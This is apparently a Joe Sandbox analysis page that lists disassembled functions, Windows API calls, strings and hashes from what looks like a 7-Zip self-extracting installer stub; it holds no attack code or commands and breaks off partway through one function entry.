Instruction ID: 8154b001b0011d5121478cb58b91efa441906eea3886e432abe560883a3f5ac4
Opcode Fuzzy Hash: 6fe21de5e6cf46c2e38258430ab068c08d1ba9f3266b2be4710a35066139e936
Instruction Fuzzy Hash: 8421C375941318BFD7215BA1DD48EEB7B7CFF04301F0040B6FA09A2291D7744E948B6A

Function 0040796F Relevance: 12.1, APIs: 8, Instructions: 68COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 0040797F
GetSystemMetrics.USER32(0000000B), ref: 0040799B
GetSystemMetrics.USER32(0000003D), ref: 004079A4
GetSystemMetrics.USER32(0000003E), ref: 004079AC
SelectObject.GDI32(?,?), ref: 004079C9
DrawTextW.USER32(?,00000000,000000FF,?,?), ref: 004079E4
SelectObject.GDI32(?,?), ref: 00407A0A
ReleaseDC.USER32(?,?), ref: 00407A19

Memory Dump Source

Source File: 00000010.00000002.4017543989.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.4017505413.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017587254.000000000041A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017609709.000000000041E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017658436.0000000000423000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_X0JA3EDV7BU5B3IH21ST0OE852AR.jbxd

Similarity

API ID: MetricsSystem$ObjectSelect$DrawReleaseText
String ID:
API String ID: 2466489532-0
Opcode ID: 361b9f72db81968066b11de39633dd2aeb039f56a0627fc63b5b1369e6440dec
Instruction ID: 872bb3bd96abf1d963658246664a9f9dec04eac668a7313924c28ae5c7f0044f
Opcode Fuzzy Hash: 361b9f72db81968066b11de39633dd2aeb039f56a0627fc63b5b1369e6440dec
Instruction Fuzzy Hash: FF216871901209AFCB01CF69DD44A9EBFF4FF08360F10C46AE519A72A0D335AA50DF41

Function 00408921 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 102windowCOMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0040895B
GetDlgItem.USER32(?,000004B8), ref: 00408979
SendMessageW.USER32(00000000,00000402,00000000,00000000), ref: 0040898B
wsprintfW.USER32 ref: 004089A9
??3@YAXPAX@Z.MSVCRT(?), ref: 00408A41

Strings

%d%%, xrefs: 004089A3

Memory Dump Source

Source File: 00000010.00000002.4017543989.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.4017505413.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017587254.000000000041A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017609709.000000000041E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017658436.0000000000423000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_X0JA3EDV7BU5B3IH21ST0OE852AR.jbxd

Similarity

API ID: ??3@ItemMessageSendUnothrow_t@std@@@__ehfuncinfo$??2@wsprintf
String ID: %d%%
API String ID: 3753976982-1518462796
Opcode ID: 51ae72c57df79fbb6cbb7e6395a09830993c207f45adbfda5b45f62387b44217
Instruction ID: dc12f65f6354bcef20b20b64e73197b6a82627a21fa16bd919092f53849079ab
Opcode Fuzzy Hash: 51ae72c57df79fbb6cbb7e6395a09830993c207f45adbfda5b45f62387b44217
Instruction Fuzzy Hash: C531B371500208BFCB11AF51DD45EEA7BB9FF48304F10802EF986B62E1DB79A910CB59

Function 00408B38 Relevance: 10.6, APIs: 7, Instructions: 63timethreadinjectionCOMMON

Download Yara Rule

APIs

EndDialog.USER32(?,00000000), ref: 00408B52
KillTimer.USER32(?,00000001), ref: 00408B63
SetTimer.USER32(?,00000001,00000000,00000000), ref: 00408B8D
SuspendThread.KERNEL32(00000280), ref: 00408BA6
ResumeThread.KERNEL32(00000280), ref: 00408BC3
EndDialog.USER32(?,00000000), ref: 00408BE5

Memory Dump Source

Source File: 00000010.00000002.4017543989.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.4017505413.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017587254.000000000041A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017609709.000000000041E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017658436.0000000000423000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_X0JA3EDV7BU5B3IH21ST0OE852AR.jbxd

Similarity

API ID: DialogThreadTimer$KillResumeSuspend
String ID:
API String ID: 4151135813-0
Opcode ID: 636331c51eeec99492c3656744559ca8cb25bf13f1d29267e4cf69c729943fa4
Instruction ID: 672def9565bfc40134271a6b6781851c3b106654d45cfef20a52af227c3b9f34
Opcode Fuzzy Hash: 636331c51eeec99492c3656744559ca8cb25bf13f1d29267e4cf69c729943fa4
Instruction Fuzzy Hash: 101191B4202608EFE7215F52EE85EA7777CFB44745700843EF986A66A1CF396C10DA1D

Function 004041B2 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 56COMMON

Download Yara Rule

APIs

??3@YAXPAX@Z.MSVCRT(?,?,?,%%T\,0041A7E8,?,?,00000000,00404980,?,?,?,?,004068AF,00000000), ref: 004041F8
??3@YAXPAX@Z.MSVCRT(?,?,?,%%T/,0041A7D8,?,?,?,%%T\,0041A7E8,?,?,00000000,00404980,?,?), ref: 00404236
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,%%T/,0041A7D8,?,?,?,%%T\,0041A7E8,?,?,00000000), ref: 0040425C
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,%%T/,0041A7D8,?,?,?,%%T\,0041A7E8,?,?), ref: 00404264

Strings

%%T/, xrefs: 00404216
%%T\, xrefs: 004041D8

Memory Dump Source

Source File: 00000010.00000002.4017543989.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.4017505413.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017587254.000000000041A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017609709.000000000041E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017658436.0000000000423000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_X0JA3EDV7BU5B3IH21ST0OE852AR.jbxd

Similarity

API ID: ??3@
String ID: %%T/$%%T\
API String ID: 613200358-2679640699
Opcode ID: 32ef79d1291380c273689fbeb54a3f068f011761e48dfc995dcc37c28d559008
Instruction ID: df8026740f1f86ca471eb2ea0e41fa98444a64685e80cf153ceacd7fb444c2e9
Opcode Fuzzy Hash: 32ef79d1291380c273689fbeb54a3f068f011761e48dfc995dcc37c28d559008
Instruction Fuzzy Hash: D411C97190010AAACF05FFA2D856CEDBB78AF14708F10846AB551760E2DF789B95CB48

Function 0040426D Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 56COMMON

Download Yara Rule

APIs

??3@YAXPAX@Z.MSVCRT(?,?,?,%%S\,0041A7E8,?,?,00000000,00404980,?,?,?,?,004068AF,00000000), ref: 004042B3
??3@YAXPAX@Z.MSVCRT(?,?,?,%%S/,0041A7D8,?,?,?,%%S\,0041A7E8,?,?,00000000,00404980,?,?), ref: 004042F1
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,%%S/,0041A7D8,?,?,?,%%S\,0041A7E8,?,?,00000000), ref: 00404317
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,%%S/,0041A7D8,?,?,?,%%S\,0041A7E8,?,?), ref: 0040431F

Strings

%%S/, xrefs: 004042D1
%%S\, xrefs: 00404293

Memory Dump Source

Source File: 00000010.00000002.4017543989.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.4017505413.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017587254.000000000041A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017609709.000000000041E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017658436.0000000000423000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_X0JA3EDV7BU5B3IH21ST0OE852AR.jbxd

Similarity

API ID: ??3@
String ID: %%S/$%%S\
API String ID: 613200358-358529586
Opcode ID: 234a46bb65b67f966a8e437df7229c99e997b16022daf5c37f9ee439fb3c0353
Instruction ID: 4488bc9e4ce621475e7ac020b16d4e8be87a05eb600b5e71f20f3fc481b48b4f
Opcode Fuzzy Hash: 234a46bb65b67f966a8e437df7229c99e997b16022daf5c37f9ee439fb3c0353
Instruction Fuzzy Hash: 7811C975900109AACF05FFA2D856CEDBB78AF14308F10846AF561760E2DF789B99CB48

Function 00404328 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 56COMMON

Download Yara Rule

APIs

??3@YAXPAX@Z.MSVCRT(?,?,?,%%M\,0041A7E8,?,?,00000000,00404980,?,?,?,?,004068AF,00000000), ref: 0040436E
??3@YAXPAX@Z.MSVCRT(?,?,?,%%M/,0041A7D8,?,?,?,%%M\,0041A7E8,?,?,00000000,00404980,?,?), ref: 004043AC
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,%%M/,0041A7D8,?,?,?,%%M\,0041A7E8,?,?,00000000), ref: 004043D2
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,%%M/,0041A7D8,?,?,?,%%M\,0041A7E8,?,?), ref: 004043DA

Strings

%%M/, xrefs: 0040438C
%%M\, xrefs: 0040434E

Memory Dump Source

Source File: 00000010.00000002.4017543989.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.4017505413.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017587254.000000000041A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017609709.000000000041E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017658436.0000000000423000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_X0JA3EDV7BU5B3IH21ST0OE852AR.jbxd

Similarity

API ID: ??3@
String ID: %%M/$%%M\
API String ID: 613200358-4143866494
Opcode ID: 912668388eac2bfc377ae5e16b5c219b7d863f1ca1c26d4b178e3f78348507e0
Instruction ID: 1e1ecd5a4810495ff1b5747c8ad1555e4ca49c286c4952b26a2a60c5b9476409
Opcode Fuzzy Hash: 912668388eac2bfc377ae5e16b5c219b7d863f1ca1c26d4b178e3f78348507e0
Instruction Fuzzy Hash: D411C971900109AACF05FFA2D856CEDBB79AF14308F10846AF551760E2DF785A9ACB58

Function 00408504 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 55COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00408519
SHBrowseForFolderW.SHELL32(?), ref: 00408532
SHGetPathFromIDListW.SHELL32(00000000,00000000), ref: 0040854E
SHGetMalloc.SHELL32(00000000), ref: 00408578

Part of subcall function 004082F3: GetDlgItem.USER32(?,000004B6), ref: 00408300
Part of subcall function 004082F3: SetFocus.USER32(00000000,?,?,004083E7,000004B6,?), ref: 00408307

Strings

A, xrefs: 0040852B
A, xrefs: 0040855F

Memory Dump Source

Source File: 00000010.00000002.4017543989.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.4017505413.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017587254.000000000041A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017609709.000000000041E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017658436.0000000000423000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_X0JA3EDV7BU5B3IH21ST0OE852AR.jbxd

Similarity

API ID: BrowseFocusFolderFromItemListMallocPathmemset
String ID: A$A
API String ID: 1557639607-3025247501
Opcode ID: 7184c409714950e4399974884f9922c096c63a12bd23a875202a47cc40967fbf
Instruction ID: 8e2b46382c4e0e79c38c40a6d9053323f47f27154f6d6a29afbbbbb9270b0dc0
Opcode Fuzzy Hash: 7184c409714950e4399974884f9922c096c63a12bd23a875202a47cc40967fbf
Instruction Fuzzy Hash: 41114FB1A00204ABCB10DB95DA48BDE77BCAB88701F1400AEE905E7281DB79DE04CB75

Function 00407DAC Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 39libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(uxtheme,?,00409133,000004B1,00000000,?,?,?,?,?,00409240), ref: 00407DB4
GetProcAddress.KERNEL32(00000000,SetWindowTheme), ref: 00407DC5
GetWindow.USER32(?,00000005), ref: 00407DDE
GetWindow.USER32(00000000,00000002), ref: 00407DF4

Strings

SetWindowTheme, xrefs: 00407DBF
uxtheme, xrefs: 00407DAD

Memory Dump Source

Source File: 00000010.00000002.4017543989.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.4017505413.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017587254.000000000041A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017609709.000000000041E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017658436.0000000000423000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_X0JA3EDV7BU5B3IH21ST0OE852AR.jbxd

Similarity

API ID: Window$AddressLibraryLoadProc
String ID: SetWindowTheme$uxtheme
API String ID: 324724604-1369271589
Opcode ID: df7da54084a7170c4669871585b62670c16e7ba2a7afe7f20da463cc21b0505e
Instruction ID: 9b0de1ac587a4165001920f6b170f50534138ecb837747bbddd8b6d978bb5341
Opcode Fuzzy Hash: df7da54084a7170c4669871585b62670c16e7ba2a7afe7f20da463cc21b0505e
Instruction Fuzzy Hash: D3F0A732E4672533C232126A6C48FAB769CDF46B51B094136BD04F7390DFA8DC4041ED

Function 0040B7A0 Relevance: 9.1, APIs: 6, Instructions: 133COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(00000044), ref: 0040B824
??3@YAXPAX@Z.MSVCRT ref: 0040B866
??2@YAPAXI@Z.MSVCRT(?,0000001F), ref: 0040B87C
memmove.MSVCRT(00000000,?,?,?,0000001F), ref: 0040B899
??3@YAXPAX@Z.MSVCRT(?,?,0000001F), ref: 0040B8A6
memmove.MSVCRT(?,?,?,?,?,0000001F), ref: 0040B8C4

Memory Dump Source

Source File: 00000010.00000002.4017543989.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.4017505413.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017587254.000000000041A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017609709.000000000041E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017658436.0000000000423000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_X0JA3EDV7BU5B3IH21ST0OE852AR.jbxd

Similarity

API ID: ??2@??3@memmove
String ID:
API String ID: 3828600508-0
Opcode ID: 47906053c5a29f528d9a88d94d720d9e3123c9d8a4fc5e07c1a02bdcf041b227
Instruction ID: 99a0ad40a844e9a3ffa9f049326f458531d7c56977f80c19912095adb51eb10a
Opcode Fuzzy Hash: 47906053c5a29f528d9a88d94d720d9e3123c9d8a4fc5e07c1a02bdcf041b227
Instruction Fuzzy Hash: 284159B56003048FCB14DF19D880A57B7E9FF88304F14856EEC4A9B346D779E919CBAA

Function 0040599C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 92COMMON

Download Yara Rule

APIs

??3@YAXPAX@Z.MSVCRT(?,0041EA30,00000001,0041EA30,0041EA30,00000001,?,00000000), ref: 00405A1E
??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,0041EA30,;!@InstallEnd@!,00000000,;!@Install@!UTF-8!,0041E464,0041EA30,00000001,?,00000000), ref: 00405A80
??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,0041EA30,;!@InstallEnd@!,00000000,;!@Install@!UTF-8!,0041E464,0041EA30,00000001,?,00000000), ref: 00405A98

Part of subcall function 004039E7: lstrlenW.KERNEL32(00401A74,00000000,?,?,?,?,?,?,00401A74,?), ref: 004039F4
Part of subcall function 004039E7: GetSystemTimeAsFileTime.KERNEL32(?,00401A74,?,?,?,?,00401A74,?), ref: 00403A6A
Part of subcall function 004039E7: GetFileAttributesW.KERNELBASE(?,?,?,?,?,00401A74,?), ref: 00403A71
Part of subcall function 004039E7: ??3@YAXPAX@Z.MSVCRT(?,00401A74,?,?,?,?,00401A74,?), ref: 00403B30

Strings

;!@InstallEnd@!, xrefs: 00405A53
;!@Install@!UTF-8!, xrefs: 00405A39

Memory Dump Source

Source File: 00000010.00000002.4017543989.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.4017505413.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017587254.000000000041A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017609709.000000000041E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017658436.0000000000423000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_X0JA3EDV7BU5B3IH21ST0OE852AR.jbxd

Similarity

API ID: ??3@$FileTime$AttributesSystemlstrlen
String ID: ;!@Install@!UTF-8!$;!@InstallEnd@!
API String ID: 4038993085-372238525
Opcode ID: ae470c15fb9ab93de0ad4030f77c14c07a8208b8d7926a28e8ed83b0eb248ccf
Instruction ID: 1d6f72d44ce7b26bafcc2ee4707833dd2b606594c716bb38fa5c6a696ed85d5e
Opcode Fuzzy Hash: ae470c15fb9ab93de0ad4030f77c14c07a8208b8d7926a28e8ed83b0eb248ccf
Instruction Fuzzy Hash: 05311B7490022AAACF05EF92CD828EEBB79FF58318F10042BE810761E1DB795645DE58

Function 00401000 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 58stringCOMMON

Download Yara Rule

APIs

wsprintfW.USER32 ref: 00401053
wsprintfW.USER32 ref: 00401071
lstrcatW.KERNEL32(?,?), ref: 00401084
ExitProcess.KERNEL32 ref: 004010AC

Strings

0x%p, xrefs: 0040106B

Memory Dump Source

Source File: 00000010.00000002.4017543989.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.4017505413.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017587254.000000000041A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017609709.000000000041E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017658436.0000000000423000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_X0JA3EDV7BU5B3IH21ST0OE852AR.jbxd

Similarity

API ID: wsprintf$ExitProcesslstrcat
String ID: 0x%p
API String ID: 2530384128-1745605757
Opcode ID: 217280ca1667caf64bbadd46d79608ffb89a528de629757afe78e206874d1f67
Instruction ID: 10afd36f4070d89f293b01a92875ce402ef2d19f58a346a7dbf4abb5c9f18492
Opcode Fuzzy Hash: 217280ca1667caf64bbadd46d79608ffb89a528de629757afe78e206874d1f67
Instruction Fuzzy Hash: 531182B5801208EFCB20EFB5DD85DDA73B8AF04304F00447BE645B3191D778AA948B5A

Function 00402E67 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 53COMMON

Download Yara Rule

APIs

ExpandEnvironmentStringsW.KERNEL32(00000000,?,00000001,00000000,?,?,?), ref: 00402E98
??3@YAXPAX@Z.MSVCRT(?), ref: 00402EA1

Part of subcall function 004011B7: ??2@YAPAXI@Z.MSVCRT(00000000,00000000,?,00000000,004014FF,00000003,?,00405C8B,?,00000000), ref: 004011D7
Part of subcall function 004011B7: ??3@YAXPAX@Z.MSVCRT(?,00000000,?,00000000,004014FF,00000003,?,00405C8B,?,00000000), ref: 004011FD

ExpandEnvironmentStringsW.KERNEL32(SetEnvironment,00000000,00000001,00000001,SetEnvironment), ref: 00402EB9
??3@YAXPAX@Z.MSVCRT(?,?), ref: 00402ED9

Strings

SetEnvironment, xrefs: 00402EA9, 00402EB8

Memory Dump Source

Source File: 00000010.00000002.4017543989.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.4017505413.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017587254.000000000041A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017609709.000000000041E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017658436.0000000000423000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_X0JA3EDV7BU5B3IH21ST0OE852AR.jbxd

Similarity

API ID: ??3@$EnvironmentExpandStrings$??2@
String ID: SetEnvironment
API String ID: 612612615-360490078
Opcode ID: a35de80e7cad52e5dc6298b6344b4de1a7c54804515ee2809541825fa383ffde
Instruction ID: 9a1053b96c855abc576ef2a573940a7f22d1fb52882628247968529f0f67b02c
Opcode Fuzzy Hash: a35de80e7cad52e5dc6298b6344b4de1a7c54804515ee2809541825fa383ffde
Instruction Fuzzy Hash: 66015276900104BADB14AB95DD819EEB7BCEF48314F10416BFD01B21D1DB786A408A99

Function 004049A9 Relevance: 7.6, APIs: 5, Instructions: 96stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(0041E3F0,00000020,?,?,?,?,?,00406547,?,?), ref: 004049C2
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,00406547,?,?), ref: 00404A74
??3@YAXPAX@Z.MSVCRT(00406547,?,?,?,?,?,?,?,?,?,?,?,?,?,00406547,?), ref: 00404A7C
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,00406547,?,?), ref: 00404A8B
??3@YAXPAX@Z.MSVCRT(00406547,?,?,?,?,?,?,?,?,?,?,?,?,?,00406547,?), ref: 00404A93

Memory Dump Source

Source File: 00000010.00000002.4017543989.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.4017505413.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017587254.000000000041A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017609709.000000000041E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017658436.0000000000423000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_X0JA3EDV7BU5B3IH21ST0OE852AR.jbxd

Similarity

API ID: ??3@$lstrlen
String ID:
API String ID: 2031685711-0
Opcode ID: c711911c71359a81b636e744b23c888f5a56011177dd5790178befb7102576d2
Instruction ID: d6d6aeb9fd97b078be875a6c61f5694a486b541387e48e1a0363308d58f113ad
Opcode Fuzzy Hash: c711911c71359a81b636e744b23c888f5a56011177dd5790178befb7102576d2
Instruction Fuzzy Hash: 2E21E3B6E40205ABCF206FB5CC029EB77A8EF84355F10447BEE41B72D1E7784D858A99

Function 00408828 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 85COMMON

Download Yara Rule

APIs

Part of subcall function 004081CE: GetSystemMetrics.USER32(0000000B), ref: 004081F6
Part of subcall function 004081CE: GetSystemMetrics.USER32(0000000C), ref: 004081FF

GetSystemMetrics.USER32(00000007), ref: 0040883F
GetSystemMetrics.USER32(00000007), ref: 00408850
??3@YAXPAX@Z.MSVCRT(?,000004B8,?,?), ref: 00408917

Strings

100%% , xrefs: 0040886F, 00408876, 004088CF

Memory Dump Source

Source File: 00000010.00000002.4017543989.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.4017505413.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017587254.000000000041A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017609709.000000000041E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017658436.0000000000423000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_X0JA3EDV7BU5B3IH21ST0OE852AR.jbxd

Similarity

API ID: MetricsSystem$??3@
String ID: 100%%
API String ID: 2562992111-568723177
Opcode ID: 35692a44e7e546f69739d1069c7bb9c29da4a7b1d3d728d8f1a694ecacf6944a
Instruction ID: c0f787396fa6b3de95c2f82887938995bcf82f961e42ceb6ace71c8d1a060617
Opcode Fuzzy Hash: 35692a44e7e546f69739d1069c7bb9c29da4a7b1d3d728d8f1a694ecacf6944a
Instruction Fuzzy Hash: 51318171A007059FCB24EF6ACA459AEB7F4EF54704B00052ED982A72D1DB78FE44CB99

Function 00404505 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 26stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00406EB0,00000000,?,ExecuteFile,0040454C,00000000,00000000,00406EB0,?,waitall,00000000,00000000,?,?,0041E9E8), ref: 00404512
lstrlenW.KERNEL32(?,?,?,0041E9E8), ref: 0040451B
_wcsnicmp.MSVCRT ref: 00404527

Strings

ExecuteFile, xrefs: 00404505

Memory Dump Source

Source File: 00000010.00000002.4017543989.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.4017505413.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017587254.000000000041A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017609709.000000000041E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017658436.0000000000423000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_X0JA3EDV7BU5B3IH21ST0OE852AR.jbxd

Similarity

API ID: lstrlen$_wcsnicmp
String ID: ExecuteFile
API String ID: 2823567412-323923146
Opcode ID: 269407e104d2b8646f4c579596136b213b345037a5b1e74df4f09ef425281859
Instruction ID: a2e0a5f2a3f105f817df911ac3b4dcd355adebb597ea1c4786e8ca368391ef02
Opcode Fuzzy Hash: 269407e104d2b8646f4c579596136b213b345037a5b1e74df4f09ef425281859
Instruction Fuzzy Hash: BFE04FF25052156BC6008FA5AC84C5BBBADEAC8356B540877F700E3112E735D8198BA6

Function 004026AB Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 13libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32,Wow64RevertWow64FsRedirection,00407200,00000000,?,?), ref: 004026BE
GetProcAddress.KERNEL32(00000000), ref: 004026C5

Strings

Wow64RevertWow64FsRedirection, xrefs: 004026B4
kernel32, xrefs: 004026B9

Memory Dump Source

Source File: 00000010.00000002.4017543989.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.4017505413.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017587254.000000000041A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017609709.000000000041E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017658436.0000000000423000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_X0JA3EDV7BU5B3IH21ST0OE852AR.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Wow64RevertWow64FsRedirection$kernel32
API String ID: 2574300362-3900151262
Opcode ID: 3995c828ef5ea128a58b39da0bfb34db2680510550d7971d05a4d895e470ae21
Instruction ID: 82409627fcb45dd1da2fa5f3e3d8c344d82775180731f09fcf798d9da7421b86
Opcode Fuzzy Hash: 3995c828ef5ea128a58b39da0bfb34db2680510550d7971d05a4d895e470ae21
Instruction Fuzzy Hash: D4D0A7B4593608ABD7001B62EE0CFE276A56B40701F4480356400E00F0CBFD44D1CE1E

Function 004026DF Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32,Wow64DisableWow64FsRedirection,00402735,?,0040713A,?,00000000,?,?), ref: 004026F0
